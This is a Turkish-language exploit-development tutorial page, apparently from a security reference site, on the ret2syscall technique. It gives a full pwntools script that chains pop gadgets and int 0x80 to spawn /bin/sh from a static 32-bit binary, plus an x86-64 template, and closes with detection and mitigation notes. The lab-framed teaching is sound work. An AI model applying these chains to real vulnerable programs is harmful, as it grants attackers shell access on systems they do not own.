Skip to content

ret2syscall

execve("/bin/sh", NULL, NULL) argümanlarını register'lara yükleyen ve int 0x80 / syscall üzerinden doğrudan kernel'e trap eden, libc'ye hiç dokunmayan bir ROP chain inşa et.

Mechanism

Neden çalışır

Bir ret2libc chain'i libc'nin map'lenmiş ve symbol'lerinin konumlandırılabilir olmasına bağlıdır. Ama kernel daha da temel bir arayüz sunar: system-call ABI. Linux/x86'da user program, syscall numarasını ve argümanları sabit bir register kümesine yükleyip bir trap instruction çalıştırarak — 32-bit'te int 0x80, x86-64'te syscall — bir hizmet ister. Kernel o register'ları kimin kurduğunu ya da kontrolün trap'e nasıl ulaştığını umursamaz.

Invariant: syscall ABI bir register kontratıdır ve ROP herhangi bir register kontratını sağlayabilir. Binary (statically linked ya da sadece büyük) her argument register için pop-gadget'ları artı r-x page'lerinde bir yerde bir trap instruction içeriyorsa, bir attacker ödünç alınmış instruction parçalarından eksiksiz bir execve call'ı forge edebilir. libc symbol'ü yok, leak edilmiş adres yok, enjekte edilmiş kod yok — yalnızca kernel'in kendisinin tanımladığı sabit register/numara convention'ı.

32-bit execve kontratı eax=11 (0xb), ebx=&"/bin/sh", ecx=0, edx=0, sonra int 0x80'dir. x86-64'te rax=59, rdi=&"/bin/sh", rsi=0, rdx=0, sonra syscall'dır.

Walkthrough

Yalnızca lab

Sahibi olduğun bir binary kullan. Bu teknik, dönülecek bir libc'nin olmadığı ama binary'nin kendisinin gadget dolu olduğu statically linked, NX-enabled, no-PIE binary'lere karşı parlar.

1. Triyaj. Bir static binary'nin PLT'si yoktur ama bolca gadget'ı vardır:

$ checksec --file=./rop
Arch:     i386-32-little
RELRO:    Partial RELRO
NX:       NX enabled
PIE:      No PIE
$ file ./rop
./rop: ELF 32-bit LSB executable, ... statically linked, not stripped

2. Dört yapı taşını ROPgadget ile bul. eax'i, edx/ecx/ebx üçlüsünü, int 0x80 trap'ini ve bir /bin/sh string'ini ayarlamamız gerekiyor:

$ ROPgadget --binary rop --only 'pop|ret' | grep 'eax'
0x080bb196 : pop eax ; ret
$ ROPgadget --binary rop --only 'pop|ret' | grep -E 'edx.*ecx.*ebx'
0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret
$ ROPgadget --binary rop --only 'int'
0x08049421 : int 0x80
$ ROPgadget --binary rop --string '/bin/sh'
0x080be408 : /bin/sh

3. Overflow offset'ini doğrula (örn. gdb'de bir cyclic pattern ile):

(gdb) run $(cyclic 200)
... SIGSEGV ...
(gdb) print $eip       # = 0x6161616c
(gdb) print cyclic_find(0x6161616c)
offset = 112

4. Chain'i birleştir. Sıra önemlidir: eax'i yükle, sonra edx/ecx/ebx üçlüsünü tek bir gadget'ta, sonra trap.

from pwn import *

elf  = ELF('./rop')
p    = process('./rop')

pop_eax         = 0x080bb196   # pop eax ; ret
pop_edx_ecx_ebx = 0x0806eb90   # pop edx ; pop ecx ; pop ebx ; ret
int_0x80        = 0x08049421   # int 0x80
binsh           = 0x080be408   # "/bin/sh"

payload  = b'A' * 112
payload += flat(
    pop_eax,         0xb,       # eax = 11 (execve)
    pop_edx_ecx_ebx, 0, 0, binsh,  # edx=0, ecx=0, ebx=&"/bin/sh"
    int_0x80,                   # trap into kernel
)

p.sendline(payload)
p.interactive()                 # => $ shell
x86-64 varyantı (rax=59, syscall)

pop_rax = 0x...    # pop rax ; ret
pop_rdi = 0x...    # pop rdi ; ret
pop_rsi = 0x...    # pop rsi ; ret
pop_rdx = 0x...    # pop rdx ; ret
syscall = 0x...    # syscall ; ret   (or "syscall")
binsh   = 0x...    # "/bin/sh"

payload  = b'A' * offset
payload += flat(
    pop_rdi, binsh,   # arg1 = "/bin/sh"
    pop_rsi, 0,       # arg2 = NULL
    pop_rdx, 0,       # arg3 = NULL
    pop_rax, 59,      # execve
    syscall,
)
Gadget'ları ROPgadget --binary vuln | grep 'pop rax' ve grep 'syscall' ile bul. Üçlü gadget'lar kıtsa, rdx/rsi'yi __libc_csu_init üzerinden doldurmak için bkz. ret2csu.

Detection

  • Attacker'ın kontrol ettiği data içindeki bir pop reg; ... ; int 0x80 sequence'ına inen bir ret imzadır; stack/return address function entry'lerine değil, fonksiyonların ortasına işaret eder.
  • syscall'ları whitelist'leyen seccomp-bpf filter'ları, chain çalışsa bile faydalı syscall'ları etkisizleştirir (örn. execve'yi blokla).
  • CFI / shadow stack'ler (Intel CET), chain'i başlatan bozulmuş return address'leri tespit eder.

Mitigation

  • Bir donanım shadow stack'i (Intel CET), başlangıçtaki return-address overwrite'ını herhangi bir gadget çalışmadan önce ölümcül kılar.
  • seccomp syscall filtreleme, chain'in nihai olarak çıkarmak istediği syscall'ı bloklar.
  • Kök neden, stack kontrolü veren memory-safety bug'ıdır; bkz. stack-buffer-overflow.

References